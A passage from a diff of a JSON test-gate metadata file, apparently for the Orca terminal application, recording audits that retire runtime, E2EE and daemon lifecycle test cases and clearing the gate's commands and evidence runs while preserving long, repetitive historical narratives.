deliberately retires76 authored/79 finite cases:75 runtime compatibility cases/78 finite cases across14 fragments, plus one localization extractor default-flag case. Three whole runtime fragments are deleted;27 authored/30 finite cases remain across the reviewed sources. This gate retains only its own selected scope; no equivalent replacement or fresh runtime/native/remote evidence is claimed. Runtime component A: Audit3828 composes3822 with independent3824: deliberately retires49 authored/52 finite cases from seven compatibility fragments, leaving15 authored/18 finite cases and deleting two entire fragments. Accepted losses: positive folder-worker recovery/materialization and reveal deadline; persisted-key normalization and legacy split/group/focus projection; fixed stale CAS refusal; occupied/alias/restored/preallocated terminal-handle variants; fixed OpenCode/Cursor/Claude/Codex/Antigravity classification, readiness, title and management examples; direct private-map browser authority projections; browser-focus and OMP title projection; already-aborted claim cleanup. Additional3824 loss: src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-02.spec.ts :: does not poll a wrapper foreground for a speculative CLI prompt send :: Speculative retryForegroundWrappers:false check must return false on a wrapper after one foreground read, without polling the supplied later codex response. These real bounded alarms are deliberately retired for low marginal value. Retained callbacks are unchanged and provide only their own bounded scope, not equivalent replacement. Historical receipts do not validate reduced callbacks. No fresh runtime/native/SSH/WSL/phone/browser evidence or full transitive closure is claimed. Runtime component B: Audit3834 deliberately retires26 authored/26 finite cases from seven fresh compatibility fragments, leaving10/10 and deleting the one-case saved-binding reattachment fragment. Original position58 is excluded: its existing substantive3578 KEEP7 review remains historical, with no fresh credit. Accepted losses: fixed hook/provider-session identities and stale metadata refusal; decorative/pre-title foreground ordering variants; saved-binding surface reattachment; saved-row exit ghost removal and silent activation selection; unsupported headless wake; positive pending materialization/group projections; per-caller navigation selection; positive SSH hydration/read partition; laptop mobile publication/buffer and background/pending/status projections; abnormal/unregistered SSH grace, normal-exit refusal, persisted SSH hydration, positive serve reattachment, pending-agent launch arguments and direct seeded running-launch admission guard. These are real bounded alarms deliberately retired for low marginal value. Retained cases preserve their own distinct deferred foreground coalescing, usable handle continuity, stale inventory refresh, concurrent browser snapshot preservation, renderer graph fencing, caller dedup isolation, SSH partition writes, runtime split lifetime, independent relay-ready publication, lease admission/state/expiry. The direct running-launch no-spawn guard alarm is deliberately retired; no remaining owning-launch refusal coverage is claimed. Historical runs do not validate reduced callbacks. No equivalent replacement, runtime/native/SSH/WSL/phone/browser result or full transitive closure is claimed. Additional extractor loss: config/scripts/localization/source-extraction/audit-localization-native-dialogs.test.mjs :: does not change the existing renderer scan by default :: Default options must omit the five native-only fields in this supplied snippet. No equivalent replacement is claimed. Historical prior account (preserved verbatim): Audit3814 deliberately retires60 authored/60 finite cases:53runtime compatibility cases,4native XCTest methods and3Python clipboard methods, including the entire StableElementIndexes suite. Clipboard cuts retire the one-over-cap sample, incoming-offer destruction trace and sequential20-copy replay; actual wire, FD/pipe, startup and Xvfb/GTK boundaries remain without equivalent replacement claims. Accepted losses include narrow terminal-send payload/provider projections, legacy and direct no-op/error permutations, timing/work-count examples, private state/title/activity projections and fixture-driven readiness examples, individually enumerated below. These include real bounded production alarms consciously retired for marginal value; retained failed writes, duplicate submission, stale capture, transcript/ring and allocation fences are not equivalent replacements. No fresh native/remote/browser execution or complete transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3806 deliberately retires40 authored/40 finite runtime compatibility cases, including the terminal-side-effect-facts-part03 headless-snapshots-part02 and agent-status-and-waits-part03 fragments, plus20 scalar Swift precondition sites. Lost runtime alarms include status/title/attention projection examples, simple renderer/headless frame restoration and status waiting outcomes detailed in the accepted-loss ledger. Swift cuts retire duplicate generation-map/schema/navigation/bridge and notification-wrapper assertions; no standalone native program is deleted. These include real bounded production alarms consciously retired for marginal value. Retained races, pending writes/reflow, namespace and waiter ownership are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3798 deliberately retires21 authored/24 finite compatibility cases, including the entire SSH-worktree-lifecycle and repository-project-operations fragments. Accepted losses include navigation-only settings acknowledgement, browser session cleanup and host preservation projections, window positive/policy-state examples, terminal recovery/reload and no-incarnation remint examples, terminal listing compatibility/malformed IDs, directory browse/sort/Windows path smoke, SSH create refusal/manual lineage, recursive parent-folder creation and fork/origin/avatar/icon projections. Real bounded production alarms are consciously retired for marginal value; retained authority races, cleanup/clone ownership, pending waiters, nested-folder and scan invalidation cases are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3774 (independent peer expansion of3773): deliberately retire7authored/13potential expanded registrations across4whole suites: standalone truncated8-byte E2EE guard; open/empty readiness null fast-path; capability parser acceptance/atomic malformed-array bounds; phone/delegated-parent/desktop/in-process creator provenance projections. These are real guard/policy alarms accepted as low marginal value, not tautologies. No equivalent replacement, authenticated-refusal, observer delivery, persisted visibility, synchronous scheduling or fresh execution is claimed. Prior dated receipts retain their exact original scopes and do not validate the changed/reduced current selector. Independent daemon E2E receipts remain scoped to their own unchanged commands. Historical prior account (preserved verbatim): Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit1983: Delete the reasonless-close scalar suite and optional-capability socket forwarding alias. Delete the mocked close-attribution topology field-inventory suite and its aliases/selectors; preserve independent dated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1959 (sources 1957:11, 1957:35, 1957:36): The fixture-supplied repository roundtrip, isolated capability metadata readback, parser/default-timer/size-threshold/internal failure-counter examples and standalone handshake-only replay example are removed. Source11 retains real encrypted multi-client event ordering, reconnect snapshot and multiplex delivery under synthetic runtime state, and does not establish the broad handshake-to-reasonless-close refusal alias; retire that whole assertion object. Source36 capability metadata readback alias is retired. Source35 retains the actual v2 runtime-only metadata/downgrade refusal callback and captured mutating-trace fresh-nonce rejection; its mapped mobile-v2 refusal alias remains within modeled credential lookup scope. Both independent daemon E2E dated receipts remain byte-exact with their original commands and results. No historical passed receipt is narrowed or transferred to changed source bytes. No fresh execution, equivalent replacement, physical provider/PTY, live remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed by this metadata packet. Historical prior account (preserved verbatim): Audit1939 (sources1934/1935): Retain actual parked exit/disposal/cancel/leaf progression using injected exit and close adapters. The retained last-watcher case checks exact lifecyclePtyId, but no retained callback establishes the whole existing replacement-or-sibling-incarnation alias. Retire that broad assertion object rather than transfer partial support. Capability admission, static fields and duplicate routing examples are intentionally lost; unchanged daemon E2E receipts remain scoped to their own commands. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Start isolated v25 and v26 daemon generations with one capable-viewer PTY and one legacy-viewer PTY per generation in four target worktrees plus an unaddressed control PTY in a fifth worktree. Route them through the production desktop scanner, runtime, RPC dispatcher, renderer-close relay, and daemon router. First issue sequential reasonless closes from an authenticated capable connection and require refusal, snapshot republish, zero shutdown calls, exact process survival, and post-close I/O. Then issue the byte-identical requests without the negotiated capability and require current-main behavior: two ordered immediate shutdowns, session-killed events, and exact root/descendant death, while capable and control PTYs survive. An observer lists all targets before, between, and after while issuing zero closes. Unit contracts also require in-process reasonless refusal, legacy runtime/mobile compatibility, explicit user closes, encrypted client-auth advertisement, and old-server lifecycle calls never to fall back. Audit4587 retires the one-case CLI WebSocket protocol/preflight suite and its hand-built server; its cross-layer non-delivery witness is intentionally lost, with no replacement coverage claimed.", - "commands": [ - "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/construction/orca-runtime.test.ts src/main/runtime/rpc/mobile/e2ee/e2ee-channel-v2.test.ts src/shared/remote-runtime/remote-runtime-client.test.ts src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts src/renderer/src/components/terminal/tab-lifecycle/terminal-close-incarnation.test.ts", - "pnpm exec playwright test tests/e2e/daemon-generation-reconnect-safety.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "pnpm exec playwright test tests/e2e/daemon-generation-legacy-close-safety.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1" - ], - "testFiles": [ - "src/main/runtime/construction/orca-runtime.test.ts", - "src/main/runtime/rpc/mobile/e2ee/e2ee-channel-v2.test.ts", - "src/shared/remote-runtime/remote-runtime-client.test.ts", - "src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts", - "src/renderer/src/components/terminal/tab-lifecycle/terminal-close-incarnation.test.ts", - "tests/e2e/daemon-generation-reconnect-safety.spec.ts", - "tests/e2e/daemon-generation-legacy-close-safety.spec.ts" - ], - "assertionRefs": [ - { - "file": "tests/e2e/daemon-generation-legacy-close-safety.spec.ts", - "assertions": [ - "one identified capable viewer and one legacy viewer issue byte-identical sequential reasonless closes while a third viewer lists every target before, between, and after but issues zero closes", - "capable v25/v26 PTY root/descendant incarnations in separate worktrees survive, answer post-close input, and produce zero shutdown calls and zero daemon session-killed events", - "legacy v25/v26 PTY root/descendant incarnations die through ordered immediate shutdown calls with one daemon session-killed event each, matching current-main behavior", - "an unaddressed fifth-worktree PTY root and descendant survive with zero kill events, excluding global fanout", - "the JSON reconstruction records request order, negotiated capabilities, viewer connection, worktree/tab/PTY ids, daemon PID/protocol, call site, and exact before/after process liveness" - ] - }, - { - "file": "tests/e2e/daemon-generation-reconnect-safety.spec.ts", - "assertions": [ - "the production scanner discovers v21/v22/v23/v24/v25 from v26 and every generation accepts repeated client hellos while every exact daemon, PTY-root, and descendant incarnation remains alive", - "desktop and two remote profiles repeat lifecycle closes before and after client relaunch with zero session-killed events", - "shutdown-dispose-failed drops named-pipe authority within the deadline and exact fixture cleanup leaves no process tree" - ] - }, - { - "file": "src/shared/remote-runtime/remote-runtime-client.test.ts", - "assertions": [ - "one-shot and subscription runtime clients remain compatible while sending encrypted client authentication" - ] - } - ], - "evidenceRuns": [ - { - "date": "2026-07-27", - "runner": "ci", - "platform": "linux", - "command": "pnpm exec playwright test tests/e2e/daemon-generation-legacy-close-safety.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "result": "passed", - "durationSeconds": 6.6, - "summary": "Current-head capability-gated oracle passed in E2E run https://github.com/stablyai/orca/actions/runs/30250731941/job/89928386794: capable v25/v26 roots and descendants survived with snapshot republish and post-close I/O, byte-identical legacy closes retained current-main shutdown behavior, and the unrelated fifth-worktree control survived.", - "currentCommand": "pnpm exec playwright test tests/e2e/daemon-generation-legacy-close-safety.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1" - }, - { - "date": "2026-07-21", - "runner": "local", - "platform": "windows", - "command": "pnpm exec playwright test tests/e2e/daemon-generation-reconnect-safety.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "result": "passed", - "durationSeconds": 137.1, - "summary": "The full command, including a fresh Electron E2E build, passed. Production desktop discovery found v21/v22/v23/v24 from v25; all five daemons and all ten exact PTY-root/descendant canaries survived six repeated lifecycle attempts per stale mirror with zero session-killed events. Bounded shutdown-dispose-failed dropped pipe authority while its refusing daemon/root/descendant remained alive until exact fixture cleanup; no fixture directory remained.", - "currentCommand": "pnpm exec playwright test tests/e2e/daemon-generation-reconnect-safety.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1" - } - ], + "oracle": "No current executed protection is claimed after E2E layout cleanup. Historical account: Runtime layout cleanup intentionally retires the removed compatibility callbacks and wholly removed fragments without replacement coverage. The compatibility entrypoint retains only its surviving registration scope. Existing independent dated receipts remain at their original commands and scopes; no fresh runtime, native, remote or platform execution is claimed. Prior account preserved verbatim: Audit5922 intentionally retires mixed split/agent parking eligibility classification; incorrect eligibility can unmount a still-needed terminal or hide resume, though the retired predicate suite never mounts or resumes the actual view. These narrow alarms are lost without equivalent replacement. Remaining selectors/assertions and dated evidenceRuns retain their original scope; no fresh validation or whole-gate replacement claim. Preserve complete historical narratives and earlier knownGaps verbatim. Complete prior account retained verbatim: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3881 intentionally removes the entire legacy E2EE channel and mobile socket-wiring test suites and the v2 additive runtime-capability refusal callback, without equivalent replacement. Those deleted suites leave current selectors and that v2 assertion alias is retired. Retained v2 replay/queue-counter cases do not establish the removed capability refusal. Reduced test bytes/selectors have no fresh execution in this static packet; independent dated daemon E2E receipts retain their complete original scope. Historical prior account (preserved verbatim): Audit3832 deliberately retires76 authored/79 finite cases:75 runtime compatibility cases/78 finite cases across14 fragments, plus one localization extractor default-flag case. Three whole runtime fragments are deleted;27 authored/30 finite cases remain across the reviewed sources. This gate retains only its own selected scope; no equivalent replacement or fresh runtime/native/remote evidence is claimed. Runtime component A: Audit3828 composes3822 with independent3824: deliberately retires49 authored/52 finite cases from seven compatibility fragments, leaving15 authored/18 finite cases and deleting two entire fragments. Accepted losses: positive folder-worker recovery/materialization and reveal deadline; persisted-key normalization and legacy split/group/focus projection; fixed stale CAS refusal; occupied/alias/restored/preallocated terminal-handle variants; fixed OpenCode/Cursor/Claude/Codex/Antigravity classification, readiness, title and management examples; direct private-map browser authority projections; browser-focus and OMP title projection; already-aborted claim cleanup. Additional3824 loss: src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-02.spec.ts :: does not poll a wrapper foreground for a speculative CLI prompt send :: Speculative retryForegroundWrappers:false check must return false on a wrapper after one foreground read, without polling the supplied later codex response. These real bounded alarms are deliberately retired for low marginal value. Retained callbacks are unchanged and provide only their own bounded scope, not equivalent replacement. Historical receipts do not validate reduced callbacks. No fresh runtime/native/SSH/WSL/phone/browser evidence or full transitive closure is claimed. Runtime component B: Audit3834 deliberately retires26 authored/26 finite cases from seven fresh compatibility fragments, leaving10/10 and deleting the one-case saved-binding reattachment fragment. Original position58 is excluded: its existing substantive3578 KEEP7 review remains historical, with no fresh credit. Accepted losses: fixed hook/provider-session identities and stale metadata refusal; decorative/pre-title foreground ordering variants; saved-binding surface reattachment; saved-row exit ghost removal and silent activation selection; unsupported headless wake; positive pending materialization/group projections; per-caller navigation selection; positive SSH hydration/read partition; laptop mobile publication/buffer and background/pending/status projections; abnormal/unregistered SSH grace, normal-exit refusal, persisted SSH hydration, positive serve reattachment, pending-agent launch arguments and direct seeded running-launch admission guard. These are real bounded alarms deliberately retired for low marginal value. Retained cases preserve their own distinct deferred foreground coalescing, usable handle continuity, stale inventory refresh, concurrent browser snapshot preservation, renderer graph fencing, caller dedup isolation, SSH partition writes, runtime split lifetime, independent relay-ready publication, lease admission/state/expiry. The direct running-launch no-spawn guard alarm is deliberately retired; no remaining owning-launch refusal coverage is claimed. Historical runs do not validate reduced callbacks. No equivalent replacement, runtime/native/SSH/WSL/phone/browser result or full transitive closure is claimed. Additional extractor loss: config/scripts/localization/source-extraction/audit-localization-native-dialogs.test.mjs :: does not change the existing renderer scan by default :: Default options must omit the five native-only fields in this supplied snippet. No equivalent replacement is claimed. Historical prior account (preserved verbatim): Audit3814 deliberately retires60 authored/60 finite cases:53runtime compatibility cases,4native XCTest methods and3Python clipboard methods, including the entire StableElementIndexes suite. Clipboard cuts retire the one-over-cap sample, incoming-offer destruction trace and sequential20-copy replay; actual wire, FD/pipe, startup and Xvfb/GTK boundaries remain without equivalent replacement claims. Accepted losses include narrow terminal-send payload/provider projections, legacy and direct no-op/error permutations, timing/work-count examples, private state/title/activity projections and fixture-driven readiness examples, individually enumerated below. These include real bounded production alarms consciously retired for marginal value; retained failed writes, duplicate submission, stale capture, transcript/ring and allocation fences are not equivalent replacements. No fresh native/remote/browser execution or complete transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3806 deliberately retires40 authored/40 finite runtime compatibility cases, including the terminal-side-effect-facts-part03 headless-snapshots-part02 and agent-status-and-waits-part03 fragments, plus20 scalar Swift precondition sites. Lost runtime alarms include status/title/attention projection examples, simple renderer/headless frame restoration and status waiting outcomes detailed in the accepted-loss ledger. Swift cuts retire duplicate generation-map/schema/navigation/bridge and notification-wrapper assertions; no standalone native program is deleted. These include real bounded production alarms consciously retired for marginal value. Retained races, pending writes/reflow, namespace and waiter ownership are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3798 deliberately retires21 authored/24 finite compatibility cases, including the entire SSH-worktree-lifecycle and repository-project-operations fragments. Accepted losses include navigation-only settings acknowledgement, browser session cleanup and host preservation projections, window positive/policy-state examples, terminal recovery/reload and no-incarnation remint examples, terminal listing compatibility/malformed IDs, directory browse/sort/Windows path smoke, SSH create refusal/manual lineage, recursive parent-folder creation and fork/origin/avatar/icon projections. Real bounded production alarms are consciously retired for marginal value; retained authority races, cleanup/clone ownership, pending waiters, nested-folder and scan invalidation cases are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3774 (independent peer expansion of3773): deliberately retire7authored/13potential expanded registrations across4whole suites: standalone truncated8-byte E2EE guard; open/empty readiness null fast-path; capability parser acceptance/atomic malformed-array bounds; phone/delegated-parent/desktop/in-process creator provenance projections. These are real guard/policy alarms accepted as low marginal value, not tautologies. No equivalent replacement, authenticated-refusal, observer delivery, persisted visibility, synchronous scheduling or fresh execution is claimed. Prior dated receipts retain their exact original scopes and do not validate the changed/reduced current selector. Independent daemon E2E receipts remain scoped to their own unchanged commands. Historical prior account (preserved verbatim): Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit1983: Delete the reasonless-close scalar suite and optional-capability socket forwarding alias. Delete the mocked close-attribution topology field-inventory suite and its aliases/selectors; preserve independent dated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1959 (sources 1957:11, 1957:35, 1957:36): The fixture-supplied repository roundtrip, isolated capability metadata readback, parser/default-timer/size-threshold/internal failure-counter examples and standalone handshake-only replay example are removed. Source11 retains real encrypted multi-client event ordering, reconnect snapshot and multiplex delivery under synthetic runtime state, and does not establish the broad handshake-to-reasonless-close refusal alias; retire that whole assertion object. Source36 capability metadata readback alias is retired. Source35 retains the actual v2 runtime-only metadata/downgrade refusal callback and captured mutating-trace fresh-nonce rejection; its mapped mobile-v2 refusal alias remains within modeled credential lookup scope. Both independent daemon E2E dated receipts remain byte-exact with their original commands and results. No historical passed receipt is narrowed or transferred to changed source bytes. No fresh execution, equivalent replacement, physical provider/PTY, live remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed by this metadata packet. Historical prior account (preserved verbatim): Audit1939 (sources1934/1935): Retain actual parked exit/disposal/cancel/leaf progression using injected exit and close adapters. The retained last-watcher case checks exact lifecyclePtyId, but no retained callback establishes the whole existing replacement-or-sibling-incarnation alias. Retire that broad assertion object rather than transfer partial support. Capability admission, static fields and duplicate routing examples are intentionally lost; unchanged daemon E2E receipts remain scoped to their own commands. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Start isolated v25 and v26 daemon generations with one capable-viewer PTY and one legacy-viewer PTY per generation in four target worktrees plus an unaddressed control PTY in a fifth worktree. Route them through the production desktop scanner, runtime, RPC dispatcher, renderer-close relay, and daemon router. First issue sequential reasonless closes from an authenticated capable connection and require refusal, snapshot republish, zero shutdown calls, exact process survival, and post-close I/O. Then issue the byte-identical requests without the negotiated capability and require current-main behavior: two ordered immediate shutdowns, session-killed events, and exact root/descendant death, while capable and control PTYs survive. An observer lists all targets before, between, and after while issuing zero closes. Unit contracts also require in-process reasonless refusal, legacy runtime/mobile compatibility, explicit user closes, encrypted client-auth advertisement, and old-server lifecycle calls never to fall back. Audit4587 retires the one-case CLI WebSocket protocol/preflight suite and its hand-built server; its cross-layer non-delivery witness is intentionally lost, with no replacement coverage claimed.", + "commands": [], + "testFiles": [], + "assertionRefs": [], + "evidenceRuns": [], "runtimeBudget": { "p95Seconds": 180, - "scope": "isolated native-Windows generation reconnect plus two-generation mixed-version close adjudication and fresh E2E build" + "scope": "Historical prior-selector budget; changed E2E selectors have no new runtime measurement. isolated native-Windows generation reconnect plus two-generation mixed-version close adjudication and fresh E2E build" }, "flakeHistory": { - "status": "unknown", - "evidence": "Local deterministic Windows evidence includes the final two-scenario pass and a separate 25-burst stress pass; CI and 14-day soak history are absent." + "status": "not-started", + "evidence": "No fresh soak for changed E2E selectors. Historical account: Local deterministic Windows evidence includes the final two-scenario pass and a separate 25-burst stress pass; CI and 14-day soak history are absent." }, "redGreenEvidence": { "status": "missing", - "evidence": "Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Current main and PR #10013 route both reasonless viewer sequences to immediate shutdown, while the prior global-refusal candidate incorrectly preserves the legacy sequence. The capability-gated candidate passed the combined GitHub oracle: capable v25/v26 PTYs survive and answer input, legacy PTYs retain current-main shutdown behavior, and the unrelated control survives. Existing Windows red/green evidence separately covers evidence-bearing lifecycle closes." + "evidence": "No fresh red/green execution for changed E2E selectors. Historical account: Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Current main and PR #10013 route both reasonless viewer sequences to immediate shutdown, while the prior global-refusal candidate incorrectly preserves the legacy sequence. The capability-gated candidate passed the combined GitHub oracle: capable v25/v26 PTYs survive and answer input, legacy PTYs retain current-main shutdown behavior, and the unrelated control survives. Existing Windows red/green evidence separately covers evidence-bearing lifecycle closes." }, "performanceBudget": { "required": true, - "evidence": "Production adds one bounded client-capability parse during the authenticated connection handshake and one constant-time membership branch per close. It adds no polling, subprocess, provider listing, retry, timer, or process-per-session work. Refusal reuses the existing single-worktree snapshot republish. Test-only inventory and cleanup are bounded." + "evidence": "Historical prior-selector account; changed E2E selectors have no new performance measurement. Production adds one bounded client-capability parse during the authenticated connection handshake and one constant-time membership branch per close. It adds no polling, subprocess, provider listing, retry, timer, or process-per-session work. Refusal reuses the existing single-worktree snapshot republish. Test-only inventory and cleanup are bounded." }, "promotionCriteria": [ "Collect 100 clean native-Windows runs over 14 days with zero unexplained flakes.", @@ -6199,7 +5450,12 @@ "Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. ", "Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. ", "Audit5922 intentionally retires mixed split/agent parking eligibility classification; incorrect eligibility can unmount a still-needed terminal or hide resume, though the retired predicate suite never mounts or resumes the actual view. These narrow alarms are lost without equivalent replacement. Remaining selectors/assertions and dated evidenceRuns retain their original scope; no fresh validation or whole-gate replacement claim. Preserve complete historical narratives and earlier knownGaps verbatim.", - "Module-layout web/session cleanup: Removed paired-web client TEST alarms for connecting-search abort/pre-abort, rejecting pending connect waiters on close, retiring an expired-handshake socket and encrypted binary subscription interoperability. No replacement coverage or new execution is claimed; dated receipts describe their original runs. Prior active fields (historical only): [{\"pointer\":\"/gates/67/commands/0\",\"raw\":\"\\\"pnpm exec vitest run --config 